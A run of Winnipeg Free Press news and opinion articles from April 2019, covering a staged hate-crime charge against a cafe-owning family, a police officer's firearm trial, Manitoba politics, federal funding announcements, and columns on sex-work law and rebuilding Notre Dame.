many countries, and it is often used for making CBD products. Marijuana is another form of cannabis and a source of CBD. But it has psychoactive effects, causing a high. Myanmar law does not distinguish between the two, and the suspects face criminal charges that could land them in prison for five to 10 years or more, depending on what charges are formally filed against them. Neighbouring Thailand in December legalized the regulated production and sale of cannabis products for medical purposes, responding in part to a growing informal market for such items. In the country's recent election, a major party advocated liberalizing marijuana laws more to benefit farmers. Malaysia has considered similar legislation. Thein Than Oo, who is general secretary of the Independent Lawyers Association of Myanmar, said Todoroki's arrest could impact foreign investment, so the authorities should act with care. Myanmar was under socialist military rule from the 1960s through the 1980s, when it eschewed foreign investment despite being one of the region's poorest countries. It is still struggling to make the transition to a full free-market economy. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. An advocate of legalizing marijuana in Myanmar said he also feared the arrest would affect foreign investment. "This is unfair," said Aung Say Soe of Marijuana Legalization Movement Myanmar. "This American has already asked for permission from the government. It is like slapping down investment." Aung Say Soe also said it was obvious that the plantation was growing hemp, and that the difference from the type of marijuana used for getting high was easy to distinguish. The authorities "can check with botanists," he said. --- Associated Press writer Grant Peck in Bangkok contributed to this story. The family accused of staging an anti-Semitic hate crime at their River Heights cafe was facing serious financial troubles in the lead up to the alleged crime, including six-figure debts, lawsuits, a real estate lien and an inability to sell their restaurant or consistently make rent. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. The family accused of staging an anti-Semitic "hate crime" at their River Heights cafe was facing serious financial troubles in the lead up to the alleged crime, including six-figure debts, lawsuits, a real estate lien and an inability to sell their restaurant or consistently make rent. That information was gleaned by the Free Press from court records and details provided by sources who asked to remain anonymous, which combine to paint a picture of a family struggling to stay afloat while navigating choppy financial waters. The Winnipeg Police Service declined comment when asked if investigators believe money struggles served as a motive for the alleged crime, citing the fact the case is before the courts. Parents Alexander Berent, 56, and Oxana Berent, 48, and son Maxim Berent, 29, were each charged with a single count of public mischief late Tuesday night. They are scheduled to appear in court May 29. Following an intense week-long investigation over the holiday weekend, which saw dozens of officers dedicate a thousand hours to the case, police concluded the family staged the April 18 "hate crime" at their formerly kosher cafe. OK.RU From left: Alexander Berent, 56, Oxana Berent, 48, and Maxim Berent, 29 have been charged with public mischief. The incident, which fell on the eve of the Jewish celebration of Passover, shocked Winnipeggers. The building was trashed and tagged with anti-Semitic graffiti and Oxana Berent claimed she had been assaulted by an unknown individual. It was the fourth time in five months the Berents reported an anti-Semitic attack on BerMax Caffe + Bistro. Court documents show the Berents have a long, tangled history with the Manitoba legal system. The family and their many businesses have been sued seven times since they moved to Canada from Israel. Last August, Alexander and Oxana Berent were ordered to pay $112,000 to the Business Development Bank of Canada after they had defaulted on a $150,000 loan from 2014. That, however, is just the tip of the iceberg. Later that year, a Manitoba judge ordered Oxanas salary to be garnished until she paid $55,000 in damages from another lawsuit. Despite this, no money has been paid to the plaintiff in the case. RUTH BONNEVILLE / WINNIPEG FREE PRESS Inside the BerMax Caffe, the scene of what police call a hate-crime hoax. Most recently, Maxim Berent was sued by the Royal Bank of Canada this week for $43,000 in credit card debt. No statement of defence has been filed in the case. The Free Press has also learned the family tried to sell BerMax cafe last year while going through financial troubles, although the listing has since expired. And while the Berents were struggling, and failing, to secure a buyer for the cafe, a source told the Free Press they weren't able to consistently make their rent payments to the building's owner. The family home, located in Petersfield roughly 55 kilometres north of Winnipeg has been advertised as soon "coming to market." However, a source with knowledge of the situation told the Free Press there is currently a lien on the house connected to a past lawsuit. The Berents have not responded to repeated requests for comment from the Free Press. On Thursday, the restaurant remained closed and empty. The messages of support written in chalk on the sidewalk outside the restaurant have begun to fade and bouquets of flowers dropped at the door sat withered next to a stack of unopened newspapers. However, the family did speak to CBC Manitobas afternoon radio show Wednesday and denied the allegations levied against them by Winnipeg police. RUTH BONNEVILLE / WINNIPEG FREE PRESS A swastika is seen painted on the wall of the BerMax Caffe. The interview came hours after police chief Danny Smyth denounced the family, saying he was "disappointed" and "angry" they would seek to use "hate and racism in such a disingenuous way." Oxana Berent told the CBC she spent 11 hours in a police interrogation room without a lawyer Tuesday, claiming investigators told her parts of the familys story didnt make sense. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "What is happening yesterday and today, it's completely broke our family, our business, everything. It just broke us," Oxana said. "We don't joke about swastikas on our walls. My grandmother's family, they died in the Holocaust. Just her and her little brother survived... We don't joke about that." The allegations have not been proven in court. ryan.thorpe@freepress.mb.ca Twitter: @rk_thorpe A former Winnipeg police officer accused of twice threatening a fellow officer with a shotgun has outright denied the allegations, saying he would never do that. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. A former Winnipeg police officer accused of twice threatening a fellow officer with a shotgun has outright denied the allegations, saying he "would never do that." Leroy Golds 16-year career with the Winnipeg Police Service ended not long after Const. Danielle Prefontaine came forward with allegations Gold had pointed his police-issued shotgun at her groin and said, "Boom, right in the crotch," and, about six months later, had poked her in the ribs with the barrel of the gun and said, "Oh, I know what you need." Both incidents allegedly happened at the WPS headquarters building on Smith Street during morning shift changes when the two officers working hours overlapped in May and November 2016. Gold, 42, pleaded not guilty to two counts of pointing a firearm and two counts of uttering threats. During his provincial court trial Thursday, he testified Prefontaines allegations werent true. "What shes claiming never happened. I never pointed a shotgun at her," he said, while being questioned by defence lawyer Richard Wolson. "Its not a toy. Its a serious firearm, and you just dont do that." Crown prosecutor Kameron Hutchinson didnt try to argue there were holes in Golds denials. During his closing arguments to Judge Murray Thompson, The Pas-based prosecutor agreed the accused was steadfast in his story, but he urged the judge to believe Prefontaine. "Her comments have been consistent," Hutchinson said. On Wednesday, Prefontaine testified she was shocked and terrified during the incidents, which no one else witnessed. The first time Gold allegedly pointed the gun at her, she said she was in the WPS parking garage. The second time, she said she was typing a report at a desk in front of the sergeants office, alongside her partner, Const. Max Desjardins. Desjardins testified Thursday he was logging evidence and didnt see her interaction with Gold. He said Prefontaine told him about both incidents right after they happened. After the alleged Nov. 3, 2016, incident, he said he could see all the colour had drained from her face. Gold testified he talked to Prefontaine on Nov. 3, 2016. He said he saw her working at the computer after her shift had ended and made a joke about overtime. He was trying to have some "general fun," he said, but she responded with a hostile tone and the conversation ended with both using harsh language. Wolson described the allegations as "outrageous." He said the judge should acquit Gold based on inconsistencies in her testimony, the fact she didnt remember the specific date of the May incident, and what the defence lawyer described as the lack of a proper police investigation. He pointed to differences between what Prefontaine testified and what her sergeant, Grant Bertouille, wrote in his notes when Prefontaine and Desjardins reported the incidents to him Nov. 9, 2016. Bertouille was the only officer to make any notes, aside from professional standards unit investigator Det.-Sgt. Michelle Roch, who also testified. Its "an incredible story" Gold would pull out the gun in times when he knew he was on video and in plain view of the sergeants office, Wolson said. He said the fact Prefontaine didnt confront him was "inconsistent with common sense." "I dont know if you can apply common sense to an unexpected incident," Thompson interjected. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Gold was placed on administrative leave about a week after Prefontaine reported the allegations. He was dismissed from the police service the following year. The judge is set to deliver his decision June 20. katie.may@freepress.mb.ca Twitter: @thatkatiemay Opposition parties were criticizing each other rather than the government Thursday, as finger-pointing and allegations of ageism, sexism and unparliamentary language devolved into "the worst example of decorum in the house," Liberal MLA Cindy Lamoureux says she has seen. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. Opposition parties were criticizing each other rather than the government Thursday, as finger-pointing and allegations of ageism, sexism and unparliamentary language devolved into "the worst example of decorum in the house," Liberal MLA Cindy Lamoureux says she has seen. "Its always been issues with the NDP. And if you listen to heckling during question period, comments made towards me are often about my father, about my age, about being a young woman in politics," said Lamoureux, 27, the youngest Manitoba MLA. "As representatives, I want to be encouraging young women to pursue politics and comments like that set us so far back in time." Lamoureux's father, Winnipeg North MP Kevin Lamoureux, was visiting the legislature Thursday to watch the debate on a resolution put forth by his daughter, meant to officially recognize Winnipeg's 1919 General Strike. The younger Lamoureux, who represents Burrows, accused members of the NDP of belittling her during the debate and yelling "belligerently" at her father in the stairwell afterward. She singled out three NDP members Nahanni Fontaine, James Allum and Tom Lindsey for the alleged behaviour and, through tears, asked for an apology during the afternoon question period. Her short speech received a standing ovation from Liberal and Progressive Conservative MLAs. During the morning debate, NDP members brought up Lamoureux's father for having voted with the federal Liberals in November 2018 to mandate back-to-work legislation for striking Canada Post workers. Fontaine said the NDP could not "in good conscience" support a Manitoba Liberal motion to commemorate the 1919 labour landmark on the heels of their federal counterparts' actions. "I know that the member for Burrows is shaking her head, and thats okay," Fontaine said during the debate. "She actually should be shaking her head at her father, who actually just a little while ago, stood up in Parliament and voted in favour of legislation forcing Canada Post union members back to work." MIKAELA MACKENZIE / WINNIPEG FREE PRESS FILES NDP house leader Nahanni Fontaine said she didn't regret her comments and wouldn't apologize. After question period, Fontaine said she didn't regret her comments and wouldn't apologize. "Im not responsible for the way people interpret or how they want to imply my comments. Thats not my responsibility," she said. "My responsibility is to debate a bill in the house to the best of my ability and to ensure that everybody knows the totality and the context of what we are actually debating... I would suggest that if there was anything to apologize (for) it would be for Ms. Lamoureux to apologize to our caucus for calling us a bunch of 'douchebags' in the house." Lamoureux admitted she did call the NDP members "douchebags" in frustration as she left the house. "I should not have said that, and I do apologize. I didnt say it to them, although they have called me an idiot to my face. And I think idiot and douchebag are relatively the same thing," she said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The Liberals alleged they had previously struck a deal with the NDP and the Tories to let Lamoureux's resolution pass. Fontaine said that wasn't the case, and they had agreed to debate the motion. On Thursday, the NDP talked out the clock on debate. The motion can be brought back to the house floor for more discussion. Tory house leader Kelvin Goertzen said his party had agreed to support the resolution. In an emailed statement, he defended Lamoureux. "The comments that I heard from NDP members in the house this morning were demeaning to the work and effort Ms. Lamoureux has put into becoming an elected official," he said. jessica.botelho@freepress.mb.ca Twitter: @_jessbu MANDATING food production in vacant lots and atop commercial buildings, a new hospital for Neepawa and a jobs guarantee pilot project are among the proposals up for debate at the Manitoba Liberal partys annual general meeting this weekend in Winnipeg. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. MANDATING food production in vacant lots and atop commercial buildings, a new hospital for Neepawa and a "jobs guarantee" pilot project are among the proposals up for debate at the Manitoba Liberal partys annual general meeting this weekend in Winnipeg. With a provincial election possibly only a few months away, provincial Liberals are debating 25 policy resolutions on topics ranging from health care to community safety to francophone rights to poverty. Some of the motions will undoubtedly form part of the partys election platform. A resolution sponsored by the St. Boniface constituency association calls for the development of a pilot project that would enhance job skills and employment. It calls for the province to launch a job guarantee program where people who are unemployed can earn a living wage, with benefits, while doing work that is "in the public interest," based on their skills and abilities. Liberal Leader Dougald Lamont, who represents St. Boniface in the Manitoba legislature, said the program would be the "flip side" to the concept of a guaranteed annual income program in which participants dont necessarily have to work to be paid. "This is an option to give people the opportunity to work and either get skills or maintain their skills," he said. He said the idea has been used before in the United States in the 1930s. Participants would join up voluntarily. Another policy resolution labelled "food growing in urban areas" notes there are significant opportunities to produce food in towns and cities, including in vacant lots and on top of commercial buildings. It calls on a future Liberal government to pass legislation "to mandate the use of such areas for the growing of food." In an interview Thursday, Lamont said the intent of the resolution proposed by the partys policy committee is not necessarily to require food be produced in these spaces, but to remove any legal impediments from doing so. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Its good for communities. It actually can make a difference for climate change, even," he said of such enterprises. Meanwhile, Neepawa is one of the fastest-growing communities in Manitoba, and thats led to a shortage of local housing as well as school and health issues, Lamont said. A new hospital has been discussed for the area, and the Liberal motion recommends it be built within the towns borders. The Liberals expect between 150 and 175 members to attend the AGM, which begins this afternoon and winds up Saturday evening. The meeting is being held in conjunction with the partys federal wing in Manitoba. Lamont will address the meeting Saturday. He said he will use the occasion to speak in more detail about the partys vision for the province. Three federal cabinet ministers will also speak: Public Safety Minister Ralph Goodale; Innovation, Science and Economic Development Minister Navdeep Bains; and local MP Jim Carr, minister for international trade diversification. larry.kusch@freepress.mb.ca BRANDON Hinting it might be his last State of the Province address before the next election, Premier Brian Pallister once again said Thursday he would not make such a call during next years Manitoba 150 celebrations. Hey there, time traveller! This article was published 25/4/2019 (971 days ago), so information in it may no longer be current. BRANDON Hinting it might be his last State of the Province address before the next election, Premier Brian Pallister once again said Thursday he would not make such a call during next years Manitoba 150 celebrations. "This is a beautiful part of the world, it is an incredibly blessed part of the world, and we deserve to celebrate. We dont deserve an election in the middle of that," he told a Brandon Chamber of Commerce luncheon at the Keystone Centre UCT pavilion. "If we have an election in the middle of that, politicians will be using grandstands like this paid for with tax dollars you provide to support their own agenda for re-election. And Im not about that, so you are not doing to get an election in the middle of our 150th birthday party." The next fixed date for the provincial election is Oct. 6, 2020, but Pallister has repeatedly hinted he would call for an early vote. Pressed for details after his speech, he said there have been no new developments. He maintained he would not speculate on a date while parts of the province are still at risk of significant flooding. "Im not planning on surprising anyone. Im a fair person... I never try to take advantage of my opponent. Thats not the honourable thing to do." Pallister used Thursdays speech to touch on a number of files the provincial government has been working on. He said the deficit has gone down 80 per cent since taking office in 2016, and the province is spending $200 million less on debt servicing costs, drawing applause from a crowd largely made up of Brandons business community. "I think thats a positive step and I know that takes pressure off you in terms of tax increases," Pallister said. Unions have tried to "spin" to Manitobans their education and health-care services are being cut, he said. However, people should not measure success by how much money a department is spending, rather on the outcomes of the service. "I treat the money you pay in taxes the way you would treat it I hope I treat it with respect, and Im not going to throw money around to be popular." Pallister also took the opportunity to criticize the federal carbon tax, which came into effect April 1. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "It will punish you for living, punish you for driving to work, punish your workers for commuting, punish seniors for volunteering. "It will punish people for living their life, in particular in rural and northern communities, but it will punish you most of all if you run a small business," the premier said. The province announced Wednesday it had filed a challenge in federal court against the carbon tax. The premier said Manitoba would move ahead with it even if similar cases from Saskatchewan and Ontario fail. Overall, Pallister said the province is moving in the right direction but there is still work to do on many issues. "What Im most excited about is where were going and where were going in Brandon and Westman is so positive and where were going in the province is positive, too... This is a beautiful place to live, but our children have got to have work here, too." Brandon Sun Indigenous Services Minister Seamus O'Regan strolled onto the podium in Winnipeg's Ndinawe youth centre early Thursday with a huge smile on his face. And for good reason. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. Indigenous Services Minister Seamus O'Regan strolled onto the podium in Winnipeg's Ndinawe youth centre early Thursday with a huge smile on his face. And for good reason. The small audience all gathered to hear him recite a medley of greatest hits from the recently tabled federal Liberal budget was smiling just as broadly. Among them were Winnipeg Liberal MPs Kevin Lamoureux (in whose ward the Ndinawe is located), Dan Vandal and Robert-Falcon Ouellette. (You would expect those three to offer more than a modicum of positive energy, but they were far from the only enthusiastic supporters in the room.) Grand Chief Perry Bellegarde of the Assembly of First Nations was also there, along with AFN regional chief Kevin Hart. They were joined by a gaggle of smiling workers from many of the Indigenous social service organizations that are Ndinawe's neighbours in the North End. Indigenous Services Minister Seamus O'Regan didn't come right out and warn Indigenous people to reject the Liberals at their own peril, but strongly implied the party is their best bet. (Mikaela MacKenzie / Winnipeg Free Press) In short, the love-in was on. O'Regan went through a shopping list of investments and programs the Liberal government began in 2016 when it tabled its first budget, and continued through to the most recent financial plan. Highlights included hundreds of millions of dollars spent to ensure Jordan's Principle the federal legal commitment to provide a similar level of government service to all Indigenous children, regardless of location along with investments in clean water, affordable housing, health services and land claims. It was an important message delivered at a critical moment in the evolution of the federal Liberal government. It is still reeling from the SNC-Lavalin Group Inc. scandal that ripped the federal Grit caucus apart and led to the expulsion of former cabinet ministers Jody Wilson-Raybould and Jane Philpott. The departure of Wilson-Raybould, an Indigenous activist and lawyer before entering politics, in particular was cited by many Indigenous leaders as evidence the Liberals are not truly committed to reconciliation. O'Regan's visit to Winnipeg is part of a thinly-veiled, coast-to-coast reminder that, when it comes to support for Indigenous people, the Liberals are putting their money where their mouths are. The Liberals are still reeling from the SNC-Lavalin scandal, but Seamus O'Regan says people haven't been asking him about it. (Mikaela MacKenzie / Winnipeg Free Press) He didn't come right out and warn Indigenous people to reject the Liberals at their own peril, and yet, it wasn't hard to read between the lines of his brief remarks: of the parties with a fighting chance of forming government, the Liberals are the best bet for Indigenous people. In fact, O'Regan said, during his national tour to meet Indigenous leaders to discuss budget measures, he has found the Wilson-Raybould affair is no longer top-of-mind. "Here's the thing," he said Thursday. "I haven't been asked (about Wilson-Raybould or SNC-Lavalin) at all. Not at all... I think there's an acknowledgement by many that I meet that our government's commitment goes way beyond one minister, it's well beyond me, it's well beyond the prime minister would probably say even himself." O'Regan was not alone. Bellegarde, who has been a close ally to the Trudeau government for some time now, said in large part, the Liberals' commitment to reconciliation and improving the lives of Indigenous people can be judged on its own merit. In an interview following O'Regan's public remarks, Bellegarde said notwithstanding the Wilson-Raybould affair, there is no doubt the current Liberal government is making progress in improving the lives of First Nation and Indigenous people. In making his argument, Bellegarde repeated many of the talking points O'Regan used in his address proof he is comfortable expressing public support for a government that has been under siege in recent months. Assembly of First Nations National Chief, Perry Bellegarde believes the Liberals are making progress in improving the lives of First Nation and Indigenous people. (Mikaela MacKenzie / Winnipeg Free Press) "Look at the track record in the last four fiscal years," Bellegarde said. "A total of $21.4 billion for reconciliation. Is it enough? No, but it's moving in the right direction. You have to remember that reconciliation is about more than one person." Bellegarde is passionate and convincing, but even he does not claim to be speaking for all Indigenous people. Many high-profile regional leaders, including some who serve on the executive of the AFN with the national chief, have lashed out at the Liberals. Dan Lett | Not for Attribution A weekly look at politics close to home and around the world that is sent every Tuesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Terry Teegee, AFN regional chief from B.C., said the government's decision to expel Wilson-Raybould and Philpott from national caucus revealed a "deeply flawed and dishonest intent" on the part of Prime Minister Justin Trudeau. "The balance that was being forged within our societies through the process of reconciliation is now threatened," Teegee said earlier this month. For other Indigenous people, the future may have little to do with forgiving the Liberals for their treatment of Wilson-Raybould, and more to do with the fact they are the government in power. As a result, it requires a certain degree of pragmatism. One administrator from an Indigenous social service agency nodded in agreement when asked if Indigenous people have to hold their noses a bit to curry favour with the government in power, regardless of its performance on other issues. "It's always been that way," the administrator said. "We need their support to do our work. We can't afford to fight." dan.lett@freepress.mb.ca The federal government is boosting efforts to suppress gun and gang violence in Manitoba. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. The federal government is boosting efforts to suppress gun and gang violence in Manitoba. In an announcement in Winnipeg on Friday, Border Security and Organized Crime Reduction Minister Bill Blair said the province would receive $2.3 million in new money over the next two years for a variety of initiatives, including improved intelligence gathering and information sharing among police services. More than half of the money $1.3 million will go to the Winnipeg Police Service guns and gangs initiatives, which focus on identification, arrests and dismantling of gangs. About $700,000 will also be used to develop a new police database that will enhance the collection and dissemination of illicit firearm and gang intelligence, and improve information sharing within the province. As well, $172,000 will go to purchase specialized equipment for the Manitoba First Nations Police Service, as well as for gang intelligence and awareness training for other police agencies outside of Winnipeg. A further $80,000 will be used to expand community mobilization programs, while other funds will be used to help members get out of gangs and to support specialized training for Crown attorneys in the prosecution of organized crime and firearms offences. According to Statistics Canada, Manitoba had the highest homicide and gang-related homicide rates among all provinces in 2017, as well as the third-highest firearms-related homicide rate. In 2016, there were eight more firearms-related homicides in Manitoba than in the previous year. The number of gang-related homicides grew by five. MIKAELA MACKENZIE/WINNIPEG FREE PRESS Manitoba Justice Minister Cliff Cullen called Winnipeg the "nexus" of gun and gang activity. Last year, the WPS street crime unit alone arrested 411 people, seized more than $2.4 million worth of illicit drugs, more than $1 million in cash and 144 weapons, including knives, firearms and explosives. Of the 411 arrested, 161 were known gang members or associates, Justice Minister Cliff Cullen said. The new funding is from a five-year $327.6-million federal program aimed at suppressing gun and gang violence. Of that total, $214 million is flowing to provinces and territories and $13 million will be spent in Manitoba. Initiatives are being tailored to reflect the needs of each province, federal officials said. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Our government has been working very closely with the province of Manitoba in determining how these monies can most appropriately and effectively be spent to improve public safety and reduce the incidence of gun violence," said Blair, a former Toronto police chief. Cullen called Winnipeg the "nexus" of gun and gang activity, but noted that organized-crime groups are active throughout the province. "They are largely responsible for the spread of meth, which is hurting individuals and families in all of our communities across Manitoba," he said. Cullen welcomed the federal money and said the province would soon be announcing details of a $2.3-million budget allocation of its own to combat the illicit drug trade. Meanwhile, Winnipeg police Chief Danny Smyth, who attended Fridays announcement at the legislative building along with Manitobas top Mountie, Jane MacLatchy, said the federal money going to the force will be used to improve investigators ability to understand where guns are sourced and to gather and analyze intelligence about criminal organizations. Some of the money will be used to acquire new equipment and technology, he said. larry.kusch@freepress.mb.ca The Manitoba government has rescinded a third agreement with the Manitoba Metis Federation (MMF), halting hundreds of thousands of dollars in annual payments and possibly jeopardizing federal funding to the organization. Hey there, time traveller! This article was published 25/4/2019 (971 days ago), so information in it may no longer be current. The Manitoba government has rescinded a third agreement with the Manitoba Metis Federation (MMF), halting hundreds of thousands of dollars in annual payments and possibly jeopardizing federal funding to the organization. On April 11, a provincial assistant deputy minister from the Indigenous and Northern Relations department wrote to MMF president David Chartrand, saying the province was ending the Manitoba Metis Federation-Tripartite Self Government Negotiation (MMF-TSN), a deal in place since 1987. "Significant momentum and funding now exists to further Metis self-government. The overall mandate of the MMF-TSN process has been fulfilled. As a result, Manitoba will no longer be funding MMF-TSN," Michelle Dubik wrote. Indigenous and Northern Relations Minister Eileen Clarke was not available for an interview Thursday. A spokesperson from her office sent a statement instead, which was near-identical to what was written in the letter to the MMF. The MMF-TSN was an agreement between the MMF, province and federal government, in which Manitoba and Ottawa each paid $290,000 annually to fund the Metis own government. Chartrand said the federal funding is contingent on the provinces matching investment. The province also provides about $268,400 in core funding to the MMF annually. Chartrand said he doesnt believe that money will be on the table much longer, as the relationship with the province continues to deteriorate. He alleged the province does not respect the Metis self-government. "How does (Premier Brian Pallister) say self-government is no longer a necessity when hes forcing me to fight in the courts to defend my rights that are enshrined and protected in the constitution of Canada and in the courts of this country?" Chartrand said in an interview. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "So on one hand, hes saying self-government is sustained and achieved... when he doesnt even recognize me as a government. He calls me a special interest group," he said of past comments made by the premier. In a separate legal battle, the MMF has sought a judicial review of how a $67.5-million agreement it was establishing with Manitoba Hydro was quashed by the provincial government. Last spring, Pallister called the deal "hush money." The matter is still before the courts. In October 2018, the province announced it would revoke a second deal involving the MMF and Hydro. The Turning the Page Agreement gave millions to the MMF to compensate for past and current Hydro development on Metis lands. "Theres no relationships really left now," Chartrand said after the provinces third strike. "This is a malicious attack against the Metis Nation, thats what it is." jessica.botelho@freepress.mb.ca Twitter: @_jessbu Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Opinion Sensational Serena has the potential to make many Winnipeggers uncomfortable. Billboard space she purchased at the intersection of Portage Avenue and Aubrey Street advertises her services as "Winnipegs professional companion" and offers her phone number. Its thought to be the first time an escort or sex worker in this city has advertised so prominently. The billboard was uncomfortable for a co-worker who spotted it while driving past with his family. He and his wife raised their eyebrows at each other and were grateful the kids in the back seat apparently didnt see the billboard and ask what is so sensational about Serena. In a larger context, the brassy advertisement also has the potential to raise uncomfortable questions about what currently passes for a correct view of sex workers. Weve been sensitized in recent years to regard sex workers as exploited. The politically correct attitude is that its not their fault. Legally and socially, were been refocused to regard sex workers as victims of larger forces. But then comes Serena, who is nobodys victim. Unabashed, she told the Free Press shes a businesswoman and licensed professional. Her in-your-face advertisement highlights Canadas flawed laws regarding commercial sex services, which are nothing short of bizarre. Its legal for Serena to advertise her services and its legal to sell sex, but its illegal for customers to buy sex. I cant think of any other transaction where its legal to sell but illegal to buy. Our modern tendency to assume all sex workers are exploited victims is not an accident. It was the strategic direction of changes to the Criminal Code in 2014, under the government of Stephen Harper, that purposely turned a blind eye to people who rent their bodies for sex, and criminalized those who buy the sexual services. In Winnipeg, it means police have street-level crackdowns about twice a year and criminallly charge dozens of men, often seizing their vehicles as well. They dont charge the women who sell sex. A telling indication of the police attitude toward sex workers is that the arresting officers are called the Counter Exploitation Unit. Its quite a change since the heyday of Winnipegs red light district from 1909 to 1912, when police, at the suggestion of politicians, looked the other way as brothels did booming business in areas including Annabella and McFarlane Streets in Point Douglas, and the street now called Minto. Todays manner of legal enforcement coincides with a shift in public attitudes that, commendably, encourage people to regard sex workers in the context of larger factors. Are they being controlled by pimps? Are they driven to the streets to feed addictions? Did they have dysfunctional upbringings because of colonialism? The jarring imposition of Sensational Serena an entrepreneur running her own legal business is that she doesnt want our sympathy or understanding. She just wants more customers. Its been surprising to some of us that, until now, no one has legally challenged the current laws premise that sex work is inherently exploitative. None of the dozens of men charged with prostitution offences in Winnipeg has fought their charges in court, as far as the Free Press knows. Perhaps they were embarrassed by the nature of their arrest and didnt want to draw more attention to themselves with a public trial. But finally, the premise of the law is being disputed. In a trial underway this week in Kitchener, Ont., the first test case of its kind, lawyers are challenging the constitutionality of Canadas prostitution laws. The accused are being co-represented by prominent Toronto defence lawyer James Lockyer, who is familiar to Manitobans because of his high-profile defence of wrongfully convicted men such as James Driskell and David Milgaard. Lockyer is now representing owners of an escort service. He argues that escort services often provide a safer environment for sex workers by protecting them from violence, screening clients, taking credit-card numbers, discussing expectations and prices, having a regular clientele and "planning an escape route." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. "Working indoors is generally safer than working on the streets," he told the court in closing arguments on Tuesday. He said the laws make it impossible for "people engaged in a risky but legal activity... from taking steps to prevent themselves from risks," which he said violates Section 7 of the Charter of Rights and Freedoms, which guarantees the right to personal security of all Canadians. The legal community is attentively awaiting the verdict in Lockyers challenge, sensing it has the potential to go to the Supreme Court. Sensational Serena is not part of Lockyers argument, but in their own ways, both want to get sex work off the streets, and both are reminders that the public can be too quick to assume a stereotype. Not all sex workers fit the template of victimization. carl.degurse@freepress.mb.ca Carl DeGurse is a member of the Free Press editorial board. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. Opinion What can Paris learn from Saint Boniface, Man.? To rebuild strategically. Not long after the calls to rebuild the Notre Dame Cathedral came the calls not to. The immediate response, much from Frances wealthiest citizens pledging hundreds of millions of euros before the smoke cleared in the charred cathedral, struck the wrong chord with many people, as it highlighted the power of the wealthy. The ease and speed with which Bernard Arnault and other French millionaires made donations totalling over 600 million euros was criticized amid a crisis of social inequalities in France. An estimated US$1 billion has now been raised for the restoration effort, and French President Emmanuel Macron has vowed to have the work done in just five years, in time for the Paris 2024 Olympics. Critics have called this timeline unrealistic, and many have also pointed out the disparity of the situation when compared to restoration efforts for cultural institutions elsewhere in the world. For example, even six months after a devastating fire at Brazils National Museum, only 15 million euros have been raised for its reconstruction. Of course, the 850-year-old Notre Dame Cathedral is an iconic structure with a significant history, and its partial destruction by fire touched the lives of millions of people around the world. As news of the tragedy spread, countless personal photos of visits to the Paris landmark were shared online. Its a moment that wont soon be forgotten. To try to restore this landmark to its previous state, however, feels like an effort to somehow erase this event. For some residents of Winnipeg, the sight of the Notre Dame fire on April 15 likely brought back memories of July 22, 1968, when the Saint Boniface Cathedral was similarly ablaze. The resulting damage at the iconic basilica was extensive, but like its Parisian counterpart, much of its stone facade remained intact. Through the vision of local architect Etienne Gaboury, the Saint Boniface Cathedral was rebuilt to feature a new enclosed structure behind the old facade, which today sits just across the river from the Canadian Human Rights Museum. Gaboury intended for the new church to rise from the ruins of the old cathedral, an approach to blending old and new that is also seen at Coventry Cathedral in England. The ruins of their medieval church, bombed by the German Luftwaffe in 1940, were left as a solemn reminder of the devastation of war. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. What has stood in the heart of Saint Boniface since 1972 is a testament to the past that also looks ahead. Even today, plans are ongoing to further establish the cathedral as a gathering place for people from all walks of life. Notre Dame will be rebuilt, but lets not pretend there arent some aspects of the Catholic Church that should be left behind. Rebuild as a testament to the future. Rebuild sustainably, and with consideration for the individual lives and personal struggles of the millions of people who will visit the site for decades, if not centuries, to come. Otherwise, when Notre Dame reopens it will be amid controversy and shame. To me, the Saint Boniface Cathedral feels like an open wound standing guard over the gravestones of some of the historic figures, including Louis Riel, who shaped the province of Manitoba. As the "mother church" of Western Canada, it has witnessed history since its first incarnation in 1818. It is a site that serves a broad community today as a gathering place and site for contemplation. As Canadians shape an era of Truth and Reconciliation, living monuments such as the Saint Boniface Cathedral have the opportunity to grow in response to changing times. For the considerably older Notre Dame, the opportunity to reflect on the complexities of its history are rich, but its legacy will speak to the future. It is difficult to conceive of life 850 years from now, but will visitors in 2869 really care how quickly Macron completed the restoration? Maybe its silly to worry about what happens in the 29th century, though, with so much uncertainty enveloping the 21st. So, as the costly reconstruction and architectural competition get underway, perhaps a better question is this: for whom will Notre Dame be rebuilt? Emilie St-Hilaire is a Manitoba-born French Canadian whose parents were married in the 